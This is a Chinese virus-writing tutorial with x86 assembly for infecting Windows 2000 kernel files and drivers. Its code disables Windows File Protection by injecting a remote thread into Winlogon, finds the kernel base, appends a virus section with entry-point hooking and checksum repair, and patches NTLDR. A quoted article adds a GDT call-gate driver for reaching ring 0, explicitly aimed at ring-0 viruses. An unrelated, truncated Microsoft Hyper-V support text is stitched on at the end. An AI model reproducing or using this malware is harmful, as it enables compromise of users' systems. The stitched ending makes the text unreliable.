Kernel Model Virus Class One::感染Ntoskrnl.exe和驱动的方法

by vxk

Kernel Model Virus Class

序言
众所周知,驱动和Ntoskrnl.exe是Windows2k(本文以Win2k为类)的重要组成。
因为只要病毒跟内核(驱动层)扯上关系,马上就能引起轰动(CIH,CheXp,YM),所
以为了避免很多麻烦本文过了1年才与各位观众见面(<THE ART OF MUTE>等了2年
才出现在人类面前)。
Kernel Model Virus Class One::
本文介绍的病毒是一个Ring3+ring0的EXE形式的病毒,如果是Sys形式的病毒的话
A部分可以略去......(SYS形式不做讨论,但可以从参考文献中获得一些信息)
A.干掉WFP的方法
不论要感染什么,只要和Win2k的重要部分有关,WFP这个麻烦就会出现.....
所以要XXXXXXX,就一定要干掉WFP!!!!!!!
干掉WFP的方法我觉得Benny的方法不错....
详细代码::
SFCPatch Proc Vxk:Ptr RemoteProcpara
pushad
Call GetUU
GetUU:
pop ebp
lea ebp,[ebp-offset GetUU]
call set_new_eh
pushad
mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
jne exception_handler
call @n
dd ?
@n: mov ebx,[ebx.ER_ExceptionInformation+4]
push PAGE_READWRITE
and ebx,0FFFFF000h
push 2*4096
push ebx
Call dword ptr [VXK]._VirtualProtect
jmp SFCMainPatch
exception_handler:
popad
xor eax,eax
ret

set_new_eh: ;set SEH frame
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
SFCMainPatch:
@pushsz ‘sfc.dll‘
call Dword ptr [VXK]._GetMoudleHandleA ;get sfc.dll address
test eax,eax
je end_rseh
xchg eax,esi

mov eax,[esi.MZ_lfanew]
add eax,esi
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
mov ecx,[edx.SH_SizeOfRawData] ;get size of section
call @s_str
@b_str: db 0FFh,15h,8Ch,12h,93h,76h ;code to search & patch
db 85h,0C0h
db 0Fh,8Ch,0F1h,00h,00h,00h
db 0Fh,84h,0EBh,00h,00h,00h
db 3Dh,02h,01h,00h,00h
@s_str: pop edi
s_str: pushad
push @s_str-@b_str
pop ecx
rep cmpsb ;search for code
popad
je got_addr
inc esi
loop s_str
jmp end_rseh

got_addr:
call e_next

s_next: push 0 ;"patch" code
call Dword ptr [VXK]._ExitThread

e_next: pop edi
xchg esi,edi
add edi,6
mov ecx,e_next-s_next
rep movsb ;patch sfc.dll code by our code

end_rseh:
@SEH_RemoveFrame
popad
ret ;and quit


SFCPatch_End:

SFCPatch Endp

;in eax=hprocess;esi,edi
RT_THeard Proc
hProcessA DD ?
mov dword ptr [ebp+hProcessA],eax
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push eax
call dword ptr [ebp+_VirtualAllocEx] ;aloc there a memory
test eax,eax
je err_rcr
xchg eax,ebx
mov [ebp+virus_base],ebx
push 0
push edi
push esi
push ebx
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_WriteProcessMemory] ;write there our code
dec eax
jne free_mem
lea ecx,[ebp+tmp]
;pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
;if(!pRemotePara)return 0;
;if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push size [ebp+VX]
push 0
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_VirtualAllocEx]
push 0
push size [ebp+VX]
push [ebp+VX]
push eax
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_WriteProcessMemory]
push edx
push edx
push edx
push ebx
push edx
push edx
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_CreateRemoteThread] ;run remote thread!
push eax
call dword ptr [ebp+_CloseHandle]
err_rcr:jmp end_Sub
free_mem:
push MEM_RELEASE
push 0
push ebx
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_VirtualFreeEx] ;free memory
jmp end_Sub
end_Sub:
pushad
popad
retn
RT_THeard Endp


ScanOurEnmy Proc
hprocessF dd ?
push eax
push 0
push 43Ah
Call dword ptr [ebp+_OpenProcess]
mov dword ptr [ebp+hprocessF],eax
ppname db MAX_PATH dup (?)
push MAX_PATH
push dword ptr [ebp+ppname]
push 0
push dword ptr [ebp+hprocessF]
Call dword ptr [ebp+_GetModuleFileNameExA]
mov edi,dword ptr [ebp+ppname]
mov ebx,edi
verif "Winlogo.exe"
;verif macro verifname,empty
; local name
; ifnb <empty>
; %out too much arguments in macro ‘nxt_instr‘
; .err
; endif
; call name
; db verifname,0
; name:
; push ebx
; CALL dword ptr [ebp+_lstrstr]
; test eax,eax
;endm
jnz Install_SFCPatch
jmp end_ap1
Install_SFCPatch:
lea esi,[ebp+SFCPatch]
mov edi,SFCPatch_End-SFCPatch
mov eax,dword ptr [ebp+hprocessF]
Call RT_THeard
Call NT_BootPatch
end_ap1:call dword ptr [ebp+_CloseHandle]
end_ap:
retn
ScanOurEnmy EndP



WFP2k proc
WFP:
pushad
call getwfpdelta
getwfpdelta:
pop ebp
lea ebp,[ebp-offset getwfpdelta]
mainloop:
call getwfpapiz ;获得我们要的Apis,详细代码和有关定义省略了...
call dword ptr [ebp+_GetCurrentProcess]
lea ecx,[ebp+p_token]
push ecx
push 20h
push eax
call dword ptr [ebp+_OpenProcessToken]
dec eax
jne err_ap
lea ecx,[ebp+p_luid]
push ecx
@pushsz ‘SeDebugPrivilege‘
push eax call dword ptr [ebp+_LookupPrivilegeValueA]
dec eax
jne err_ap
lea ecx,[ebp+token_priv]
push eax
push eax
push 10h
push ecx
push eax
push dword ptr [ebp+p_token]
Call dword ptr [ebp+_AdjustTokenPrivileges]
pushad
lea esi,[ebp + procz]
lea eax,[ebp + tmp]
push eax
push 80h
push esi
Call dword ptr [ebp+_EnumProcesses]
dec eax
jne Fuck_Stop
add esi,4
jmp p_search
p_search:
lodsd
test eax,eax
je Fuck_Stop
call ScanOurEnmy
jmp p_search
Fuck_Stop:
popad
retn
WFP2k Endp


data_table=$
RemoteProcpara STRUCT
_GetCurrentProcessID dd ?
_DebugActiveProcess dd ?
_WaitForDebugEvent dd ?
_GetThreadContext dd ?
_WriteProcessMemory dd ?
_SetThreadContext dd ?
_ContinueDebugEvent dd ?
_GetProcAddress dd ?
_GetModuleHandleA dd ?
_LoadLibraryAA dd ?
_VirtualProtect dd ?
_ExitThread dd ?
RemoteProcpara ends
token_priv dd 1
p_luid dq ?
dd 2
procz dd MAX_PATH dup (?)
dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
p_token dd ?
tmp dd ?
VX RemoteProcpara <?>
MyName Max_path dup(0)
Data_table_end=$
B.获得Ntoskrnl.exe的内存地址

如果感染了驱动或者Ntoskrnl.exe,那么就必须得到Ntoskrnl.exe的内存位置才能得到kapiz来使用,这里给出两种方法::
一种是Sys形式的专用的动态的,一种是EXE形式的——感染时的静态定位(Win2k中Ntoskrnl.exe的地址在同一台机器上每次相同...)

Sys形式::
MmIsAddressValid proc lAddress:dword
;用于判断一个地址是否存在....
pushad
mov ecx,lAddress
mov eax, ecx
shr eax, 14h
mov edx, 0FFCh
and eax, edx ;offset in PageDirectoryEntry
sub eax, 3FD00000h;add eax,0c0300000h
mov eax, [eax]
test al, 1
jz AddressInValid
test al, al
js AddressValid
shr ecx, 0Ah
and ecx, 3FFFFCh;offset in PageTableEntry
sub ecx, 40000000h;add ecx,0c0000000h
mov eax, [ecx]
test al, 1
jz AddressInValid
test al, al
js @f
AddressValid:
popad
mov eax,1
ret 04h
AddressInValid:
popad
xor eax,eax
ret 04h
@@:
and ecx, edx
mov eax, [ecx-3FD00000h]
and ax, 81h
cmp al, 81h
jnz AddressValid
jmp AddressInValid
MmIsAddressValid endp

GetKernelBase proc uses esi edi dwKernelRet:DWORD
LOCAL dwReturn: DWORD
mov dwReturn,1
mov edi, dwKernelRet ; edi = 堆栈顶
repp:
push edi
call MmIsAddressValid
cmp eax,1
jnz adda
cmp word ptr [edi],IMAGE_DOS_SIGNATURE ; 等于“MZ”吗?
jz getp
getp:
mov esi, edi ; Yes, next...
add esi, [esi + IMAGE_DOS_HEADER.e_lfanew] ; 就是 esi + 3ch
push esi
call MmIsAddressValid
cmp eax,1
jnz adda
cmp word ptr [esi],IMAGE_NT_SIGNATURE ; 等于“PE”吗?
jz find
find:
mov dwReturn, edi ; Yes, we got it.
jmp endpp
adda:
add edi,001000h
cmp edi,80501000h ; 基地址非3G模式一般不可能大于80500000h
jz end
jmp repp
endpp:
mov eax, dwReturn
add esp,4*1
ret 4
GetKernelBase endp

;Use::用法
;Ring0Vstart:
;pushad
;push 80400000h
;Call GetKernelBase
;cmp eax,1
;jnz my_virusbegin;去做我们的事情
;jmp ret_file ;返回被感染的文件..

EXE形式::
SystemModuleInformation equ 11
PVOID TYPEDEF DWORD
UNLONG TYPEDEF DWORD
CHAR TYPEDEF BYTE
STATUS_SUCCESS =0
SYSTEM_MODULE_INformATION STRUCT
Reserved ULONG 2 DUP(?)
Base PVOID ?
SysModSize ULONG ?
Flags ULONG ?
Index USHORT ?
Unknown USHORT ?
LoadCount USHORT ?
ModuleNameOffset USHORT ?
ImageName CHAR 256 DUP(?)
SYSTEM_MODULE_INformATION ENDS


.data
_ZwQuerySystemInformation dd ?
ntoskrnl ULONG ?
_VirtualAlloc dd ?
_VirtualFree dd ?
ntos db "ntoskrnl.exe",0

.code
FindNtoskrnl proc uses ebx esi edi
local n:UNLONG
local q:dword
findit:
pushad
call getmeedp
getmeebp:
pop ebp
lea ebp,[ebp-offset getmeebp]
call getuseapiz;获得要用的Apiz...
realfindproc:
xor eax,eax
mov n,eax
mov q,eax
lea esi,n
push esi
push 0
push esi
push 11
call dword ptr[ebp+_ZwQuerySystemInformation]
call [ebp+_VirtualAlloc],NULL,n,MEM_COMMIT,PAGE_READWRITE
or eax,eax
jz Exit
mov q,eax
mov esi,eax
push 0
push n
push esi
push 11
call dword ptr[ebp+_ZwQuerySystemInformation]
cmp eax,STATUS_SUCCESS
jnz Exit
mov edx,esi
add edx,4
mov ecx,dword ptr[esi]
xor ebx,ebx
sub edx,sizeof SYSTEM_MODULE_INformATION
@@:
add edx,sizeof SYSTEM_MODULE_INformATION
cmp ebx,ecx
inc ebx
ja Exit
assume edx:ptr SYSTEM_MODULE_INformATION
lea edi,[edx].ImageName
movzx eax,[edx].ModuleNameOffset
add edi,eax
mov eax,dword ptr[ebp+ntos]
cld
scasd
jnz @b
mov eax,dword ptr[ebp+ntos+4]
scasd
jnz @b
mov eax,[edx].Base;
assume edx:nothing
push eax
call [ebp+_VirtualFree],q,n,MEM_RELEASE
;free(q);
pop eax
ret
;return ntoskrnl;
Exit:
mov edx,q
test edx,edx
jz @f
call [ebp+_VirtualFree],q,n,MEM_RELEASE
@@:
xor eax,eax
mov eax,1
ret
FindNtoskrnl endp
;USE::
;用法
;Call FindNtoskrnl
;cmp eax,1
;jnz findok;找到了开始工作
;jmp no_as;失败,放弃这次感染...
C.EXE形式的Ring3层感染的代码
在C部分结束之后,我们已经得到了Ntoskrnl的内存地址并去处了该死的WFP,现在我们开始感染驱动文件吧,
为了方便感染Ntoskrnl和驱动使用相同的插入代码,我们采用EPO的方式......
假设病毒用于rING0的代码开始为KRNLStart,病毒开始代码为Vstart,结束出为VEND,则病毒感染实现的代码为::
;本代码基于PKXP的EPO程序,我的那个烂的EPO不适合用于教学...
;这个代码可以感染Ring3/ring0程序!!
;Entry::
; EBP=Delta
; [ebp+FileName]=The Name of the file which u want to infect
;
InfectFile:
pushad
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push [ebp+FileName]
call dword ptr [ebp+_CreateFileA]
cmp eax,INVALID_HANDLE_value
jz IF_Exit
mov [ebp+hfile],eax

xor edi , edi ;节约空间
push edi
push edi
push edi
push PAGE_READWRITE
push edi
push [ebp+hfile]
call dword ptr [ebp+_CreateFileMappingA]
or eax,eax
jz IF_F3
mov [ebp+hMapping] , eax

push edi ;edi=0
push edi
push edi
push FILE_MAP_READ+FILE_MAP_WRITE
push [ebp+hMapping]
call dword ptr [ebp+_MapViewOfFile]
or eax,eax
jz IF_F2
mov [ebp+pMapping],eax
mov esi,eax

assume esi:ptr IMAGE_DOS_HEADER
cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
jnz IF_F1
cmp [esi].e_lfarlc,040h
jnz IF_F1

add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
cmp [esi].Signature,IMAGE_NT_SIGNATURE ;是PE文件吗?
jnz IF_F1
xor eax,eax
cmp [esi].OptionalHeader.Subsystem,8
jnz set_ring3_file
jmp set_ring0_file
set_ring3_file:
cmp [esi].OptionalHeader.Subsystem,2
jnz IF_F1
mov eax,1
mov [ebp+isnt],eax
set_ring0_file:
mov [ebp+isnt],eax
MakeCheck:
push esi
lea ebx,[esi].OptionalHeader.CheckSum
mov ecx,[ebx]
jecxz no_checksum
mov dword ptr [ebx],0 ;zero the checksum
push [ebp+fsize]
push [ebp+hfile]
Call dword ptr [ebp+_GetFileSize]
mov ecx,[ebp+fsize];the file size
add ecx,offset VEND-offset Vstart;the file size after infect
push ecx
push [ebp+hfile]
call CheckSumFile
mov dword ptr [ebx],eax
no_checksum:
cmp word ptr [esi+1ah],INF_SIGNE ;检查感染标志
jz IF_F1
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
add eax,[esi].OptionalHeader.ImageBase
movzx eax,[esi].FileHeader.NumberOfSections
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
add eax,sizeof IMAGE_NT_HEADERS
add eax,esi
mov edi,eax
add eax,sizeof IMAGE_SECTION_HEADER
sub eax,[ebp+pMapping]
cmp eax,[esi].OptionalHeader.SizeOfHeaders
ja IF_F1

;*****************************************
;空间允许, ^0^,edi指向新节
;*****************************************

inc [esi].FileHeader.NumberOfSections

assume edi:ptr IMAGE_SECTION_HEADER
mov dword ptr[edi],‘suedomsa.‘ ;Name::Asmodeus-->某个语言的恶魔

push offset VEnd - offset VStart
pop [edi].Misc.VirtualSize ;VirtualSize

push [esi].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress ;VirtualAddress

mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax ;SizeOfRawData

lea eax,[edi-28h+14h] ;prev PointerToRawData
mov eax,[eax]
lea ecx,[edi-28h+10h] ;prev SizeOfRawData
add eax,[ecx]
mov [edi].PointerToRawData,eax ;PointerToRawData
mov [edi].Characteristics,0E0000020h ;可读可写可执行


;***************************************************************
;更新SizeOfImage,使新节可以正确加载并首先执行
;***************************************************************

mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[esi].OptionalHeader.SizeOfImage
mov [esi].OptionalHeader.SizeOfImage,eax
mov word ptr [esi+1ah],INF_Sign ;写入感染标志

mov [ebp+pNTHeader],esi ;esi -> IMAGE_NT_HEADER
mov ebx,edi
mov eax,[ebp+isnt]
mov edi,[ebx].PointerToRawData
cmp eax,1
jnz Nt_krnl_set
jmp common_set
Nt_krnl_set:

add [ebx].PointerToRawData,offset KRNLStart - offset Vstart
Common_set:

mov [ebp+pNewSection],ebx ; edi -> new Section
xor ebx,ebx
call SimpleEPO
push FILE_BEGIN
push 0
push edi
push [ebp+hfile]
call dword ptr [ebp+_SetFilePointer]

;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
push 0
lea eax,[ebp+ByteWrite]
push eax
push [edi].SizeOfRawData
push [ebp+VStart]
push [ebp+hfile]
call dword ptr [ebp+_WriteFile]

IF_F1:
push [ebp+pMapping]
call dword ptr [ebp+_UnmapViewOfFile]
IF_F2:
push [ebp+hMapping]
call dword ptr [ebp+_CloseHandle]
IF_F3:
push [ebp+hfile]
call dword ptr [ebp+_CloseHandle]
IF_Exit:
popad
ret

;---------------------------------StartEPO------------------------------
;入口参数: pNewSection : 新添加节(病毒节)的指针
; pNTHeader : 文件IMAGE_NT_HEADER的指针
; [ebp+pMapping] : 文件指针
;拷贝JMP DWORD PTR [YYYYYYYY]中的YY…到Ret2ApiCall.
;--------------------------------------------------------------------------
SimpleEPO:
pushad
mov edx , [ebp+pNTHeader]
add edx , sizeof IMAGE_NT_HEADERS
assume edx : ptr IMAGE_SECTION_HEADER

mov ecx , [edx].SizeOfRawData
mov edi , [edx].PointerToRawData
add edi , [ebp+pMapping] ;Now edi = .text 的在文件中的偏移

@SearchE8:
mov al , 0e8h
repne scasb ;search for call xxxxxxxx
mov esi , edi ;edi - > xxxxxxxx 而不是 e8 xx xx xx xx.
lodsd ;search call relative
add esi , eax ;esi - > JMP DWORD PTR [YYYYYYYY]
lodsw
cmp ax , 025ffh ;esi - > YYYYYYYY
jnz @SearchE8
inc ebx ;纪录是第几个Jmp/call
cmp ebx,20h ;如果是第32个,那么开始工作....避免感染Ntoskrnl时,系统初始化失败...
jnz @SearchE8

PatchCALLandCopyJMP:
mov eax , [edx].VirtualAddress ;.text VirtualAddress
add eax , edi
sub eax , [ebp+pMapping]
sub eax , [edx].PointerToRawData ;eax contains VA of CALL XXXXXXXX
add eax , 4 ;sizeof(CALL xxxxxxxx) – sizeof(0E8h)
mov edx , [ebp+pNewSection]
mov edx , [edx].VirtualAddress
xchg eax , edx
sub eax , edx ;get new XXXXXXXX
stosd
mov edi , [ebp+Ret2ApiCall] ;write YYYYYYYY
lodsd
stosd
popad
ret


CheckSumFile PROC USES esi ecx edx lpFile:DWORD, dwFileLen:DWORD
push esi
push ecx
push edx
xor edx, edx
mov esi, lpFile
mov ecx, dwFileLen
shr ecx, 1
@CSumLoop:
movzx eax, word ptr [esi]
add edx, eax
mov eax, edx
and edx, 0ffffh
shr eax, 10h
add edx, eax
add esi, 2
loop @CSumLoop
mov eax, edx
shr eax, 10h
add ax, dx
add eax, dwFileLen
pop edx
pop ecx
pop esi
ret 08h
CheckSumFile ENDP

C+.更改NTLDR
OpenFile proc p_Filename:dword
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push p_Filename
call [ebp+_CreateFile]
ret 04h
OpenFile Endp

MapFile proc filehandle:dword
xor eax,eax
push eax
push eax
push eax
push PAGE_READWRITE
push eax
push filehandle
call [ebp+_CreateFileMapping]
ret 04h
MapFile Endp

ViewMap Proc maphandle:dword
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_ALL_ACCESS
push maphandle
call [ebp+_MapViewOfFile]
ret 04h
ViewMap Endp

Alloc proc imageSize:dword
xor eax,eax
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT
push imageSize
push eax
call [ebp+_VirtualAlloc]
ret 04h
Alloc endp


PatchFile PROC p_Filename : DWORD, p_PatchAddr : DWORD, p_PatchSize : DWORD

LOCAL p_FileHandle : DWORD, /
p_FileSize : DWORD, /
p_MapHandle : DWORD


push p_Filename
call OpenFile

cmp eax,-1
jz short PA_Exit

mov p_FileHandle,eax

push 00
push eax
call [ebp+_GetFileSize]

mov p_FileSize,eax

push p_FileHandle
call MapFile

or eax,eax
jz short PA_CloseFile

mov p_MapHandle,eax

push eax
call ViewMap

or eax,eax
jz short PA_CloseMap

mov edx,eax

mov edi,eax
mov esi,p_PatchAddr
mov ecx,p_FileSize

PA_00:

push ecx
push esi
push edi
mov ecx,p_PatchSize
repz cmpsb
pop edi
pop esi
pop ecx
jz short PA_01
inc edi
loop PA_00

jmp short PA_Unmap

PA_01:

mov ecx,p_PatchSize
add esi,ecx
repz movsb

PA_Unmap:

push edx
call [ebp+_UnmapViewOfFile]

PA_CloseMap:

push p_MapHandle
call [ebp+_CloseHandle]

PA_CloseFile:

push p_FileHandle
call [ebp+_CloseHandle]

PA_Exit:
ret 3*4h
PatchFile ENDP
NTPatch_Table=$
NTLDR db ‘NTLDR‘,0

NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)
db 3Bh,46,58,0EBh,07 ; patch

W2K_NTLDR db 3Bh,47,58,74,07
db 3Bh,47,58,0EBh,07

NTPatch_Table_len=$-NTPatch_Table

;Example
;lea eax,[ebp+NTLDR]
;lea ebx,[ebp+NT4_NTLDR]
;pushad
;push 05h
;push ebx
;push eax
;Call PatchFile
;popad
;lea ebx,[ebp+W2k_NTLDR]
;push 05h
;push ebx
;push eax
;call PatchFile
;popad
D.参考文献
用汇编写个最小的WDM驱动程序进RING0
by Mgf
在WINDOWS 2000/XP/2003里进入RING0是很多人的梦想,但实现这个梦想并不容易,
因为基于NT内核的 WINDOWS 2000/XP/2003对自己保护得非常好,这与WINDOWS 9X
有很大不同,WINDOWS 9X的GDT,IDT,LDT等重要的系统表格是可以被RING3的代码
轻易修改的,因此在WINDOWS 9X里任何程序都可以在GDT,IDT,LDT里构造自己的
调用门/中断门/陷阱门而进入RING0。在WINDOWS 2000/XP/2003里似乎只有写驱动
才能进入RING0了,当然还可以利用系统漏洞进入RING0,本人就发现了2个漏洞可
进入RING0,但本文只讨论写驱动的方式。

现在介绍用汇编语言写普通WINDOWS应用程序的书也不少,用汇编语言写WINDOWS
程序的程序员也越来越多,但遗憾的是这些书介绍的程序都是运行在RING3上的,
我等技术追求者怎能受制于RING3而无所作为?为了写出令人惊叹的程序(比如病毒,
反病毒,防火墙等等),就必须要进入RING0。但是有关用汇编语言写WDM驱动程序
的书和例子非常少,我找到的绝大多数都是用C写的,而且编译也很麻烦,对于汇编
语言这种最适合写系统程序的语言来说是很遗憾的。为此我特意用我所知道的知识
写出本文,意在抛砖引玉,共同进步。

好了,先来看看下面的例子:

.586p
.model flat,stdcall
option casemap:none


.code
start:
nop
nop
nop
nop

pushfd
pushad

push edx
sgdt [esp-2]
pop edx
mov eax,edx
mov ecx,3e0h

.if dword ptr [edx+ecx+2]!=0ec0003e8h
mov byte ptr [edx],0c3h

mov word ptr [edx+ecx],ax
shr eax,16
mov word ptr [edx+ecx+6],ax
mov dword ptr [edx+ecx+2],0ec0003e8h

mov dword ptr [edx+ecx+8],0000ffffh
mov dword ptr [edx+ecx+12],00cf9a00h
.endif

popad
popfd

xor eax,eax
ret 8


end start


把以上的汇编代码保存到文件mywdm.asm,然后用MASM 6.14按照下面的方法编译:

ml /c /coff /Cp mywdm.asm
link /subsystem:windows /driver:wdm /release /out:mywdm.sys mywdm.obj

就会在当前目录下生成一个mywdm.sys文件,这是一个没有导入导出和资源的纯代码
驱动程序,非常短小精悍。如果导入了ntoskrnl.exe和hal.dll里的函数,或者导出
给别人调用的函数,它将是一个功能全面的WDM驱动。

mywdm.sys的功能是在GDT中创建一个3级调用门和一个0级32位代码段描述符,3级调用
门的选择子是3E3,0级32位代码段的选择子是3E8。

好了,现在执行mywdm.sys,但驱动程序是不能直接执行的,所以要构造它的执行环境。
先在注册表HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services中建立一个mywdm
子键,然后建立3个DWORD型的键值:
ErrorControl=0
Start=3 (如果Start=1,mywdm.sys会随电脑启动而自动装入)
Type=1

再把mywdm.sys复制到system32/drivers目录里,然后重新启动(好象不重新启动也可以,
对这个我不太清楚),运行net start mywdm,结果屏幕上显示:

“发生系统错误 1058。

无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。”

如果你轻信微软的这句话的话,你就到此为止了!别被微软欺骗,因为我们的代码已经
执行过了,3级调用门和0级32位代码段描述符已经被建立在GDT中,而错误提示是在我们
的代码执行后弹出来的,此时不管是成功提示还是错误提示对我们来说都已太晚了。不信,
你可以用SOFT ICE看一看GDT就知道我所言不虚!如果Start=1,系统不会提示错误而运行
mywdm.sys。

好了,既然GDT中已经有了我们的调用门,那么意味着我们写的应用程序可以自由地在
RING3和RING0之间切换,但如何使用这个调用门还是有讲究的,它的使用方法是:

...

call 3e3:00000000 ;机器码 9A 00 00 00 00 E3 03
;此时已经进入RING0,CS=3E8,跟着要切换堆栈
mov eax,esp
mov esp,[esp+4]
push eax

;这里加入你要在RING0里执行的代码

;准备返回RING3
pop esp
push offset ring3
retf
ring3:
;此时回到RING3

...

为什么要切换堆栈?为什么要建立我们自己的0级32位代码段?直接使用操作系统的0级32位
代码段(选择子=8)不可以吗?在这里我要说明一下:WINDOWS 2000/XP/2003对自己保护得
非常好,就算普通应用程序能进入RING0,但还是在用户区(代码和数据的地址都小于80000000H),
所以WINDOWS 2000/XP/2003会认为是非法进入RING0的,就有可能产生页故障,表现是调用子程序
或访问内存时就会触发页故障,解决的方法是切换堆栈;不用操作系统的0级32位代码段(选择子
为8),用我们建立的0级32位代码段(选择子=3E8)。

本文例子生成的mywdm.sys大小是1536字节,如果你对PE文件很了解,可以手工给mywdm.sys减肥,
但要注意的是减肥后要把正确的CHECKSUM值填入PE头的CHECKSUM字段中,否则操作系统是不会装入
mywdm.sys执行的。我就把mywdm.sys减肥到只有368字节(只有DOS头,PE头+节表,60H字节的重定
位表和代码,应该是世界上最小的驱动程序了)。完全可以把这个只有368字节的驱动程序包含在
自己的程序中,在需要是把它还原到SYSTEM32/DRIVERS目录里。

计算CHECKSUM的方法是:把PE文件的所有字用ADC相加,然后得到的结果再和文件大小ADC相加,
这个结果就是CHECKSUM值。网上也可以找到计算CHECKSUM的工具。

RING3测试程序如下:
.386
.model flat, stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
includelib /masm32/lib/kernel32.lib

.data
szExceptionCaused db "Exception Caused - could not switch to ring 0",0
szError db "Error",0
MsgCaption db " Test",0
MsgBoxText db "cr0=%8x",0
tmp db 50 dup(90)
Callgt dd 0
dw 3e3h

.code
ExceptCallBack PROC
invoke MessageBoxA, 0, addr szExceptionCaused,addr szError, 0
invoke ExitProcess, -1
ret
ExceptCallBack ENDP

start:
push offset ExceptCallBack
call SetUnhandledExceptionFilter
call fword ptr [Callgt] ;use callgate to Ring0!

Ring0:
mov eax,esp ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax

mov eax,cr0

pop esp ;restore ring0 esp
push offset Ring3
retf
Ring3:
invoke wsprintfA,addr tmp,addr MsgBoxText,eax
invoke MessageBox, NULL,addr tmp, addr MsgCaption, MB_OK

Exit:
invoke ExitProcess,NULL

end start
嘿嘿,大家以后就可以方便的写2K/XP/2003下的RING0病毒了。
不重新启动装载.sys的例子:

.586p
.model flat,stdcall
option casemap:none


include windows.inc
include kernel32.inc
include user32.inc
include gdi32.inc
include advapi32.inc
includelib kernel32.lib
includelib user32.lib
includelib gdi32.lib
includelib advapi32.lib


.data
szServiceName db ‘mywdm25‘,0 ;只要这个名字不重复,驱动程序装载成功的希望就很大!
szDisplayName db ‘mywdm25 Driver‘,0 ;只要这个名字不重复,驱动程序装载成功的希望就很大!
szFileName db ‘c:/windows/system32/drivers/mywdm.sys‘,0
hSCManager dd 0
hService dd 0


.code
start:
nop
nop
nop
nop

invoke OpenSCManager,0,0,000f000fh
mov hSCManager,eax

;00010030H=SERVICE_START OR SERVICE_STOP OR DELETE的组合码,用SERVICE_ALL_ACCESS
;好象不行
invoke CreateService,eax,offset szServiceName,offset szDisplayName,00010030h,1,1,0,offset szFileName,0,0,0,0,0
mov hService,eax

invoke StartService,eax,0,0


invoke DeleteService,hService

invoke CloseServiceHandle,hService

invoke CloseServiceHandle,hSCManager

invoke ExitProcess,0


end start

症状 假定您启用的计算机正在运行 Windows Server 2008 R2 中的 Hyper-V 角色。启用 Hyper-V 角色后重新启动计算机。但是,在重新启动操作过程中收到下面的 Stop 错误消息: 停止 0x0000007E (ffffffffc0000096、 parameter2、 parameter3、 parameter4 SYSTEM_THREAD_EXCEPTION_NOT_HANDLED 备注 这些 Stop 错误消息中的参数可能会因实际配置的不同而不同。 停止错误的症状可能会因计算机的系统故障选项的不同而不同。例如,出现停止错误时,可能会重新启动计算机。 回到顶端 | 提供反馈 原因 发生此问题是因为系统使用处理器支持 C 状态。但是,C stateis 不支持由 Hyper-V。 回到顶端 | 提供反馈 解决方案 若要解决此问题,请按照下列步骤操作: 禁用处理器虚拟化在 BIOS 中。 正常启动计算机。 应用此修补程序,然后重新启动计算机。 重新启用 BIOS 中,虚拟化的处理器。 启用处理器虚拟化 BIOS 启用 Hyper-V 角色中。 热修复补丁程序信息 重要 Windows Vista Windows Server 2008 的修补程序包含在相同的程序包中。但是,这些产品中的只有一个可能"热修复程序请求"页上列出。若要请求适用于 Windows Vista Windows Server 2008 的修复程序包,只需选择该页面列出的产品。 可以从 Microsoft 获得支持的热修复补丁程序。但是,此修补程序仅能用于解决本文中描述的问题。此修补程序仅适用于遇到本文所述问题的系统。此修补程序可能会接受进一步的测试。因此,如果这个问题没有对您造成严重的影响,我们建议您等待包含此修复程序的下一个软件更新。 如果此修补程序可以下载,则此知识库文章顶部会出现"提供修补程序下载"部分。如果未显示此节,请联系 Microsoft 客户服务支持,以获取此修复程序。 注意如果出现其他问题或需要任何故障诊断,您可能需要创建单独的服务请求。其他支持问题事项,不适合于此特定的修补程序将收取照常收取支持费用。Microsoft 客户服务支持电话号码,或创建单独的服务请求的完整列表,请访问下面的 Microsoft Web 站点: http://support.microsoft.com/contactus/?ws=support注意"可用的热修补程序下载"表格显示此热修复补丁程序适用的语言。如果您看不到您的语言,这是因为热修复补丁程序不适用于该语言。 先决条件 基于 Windows Server 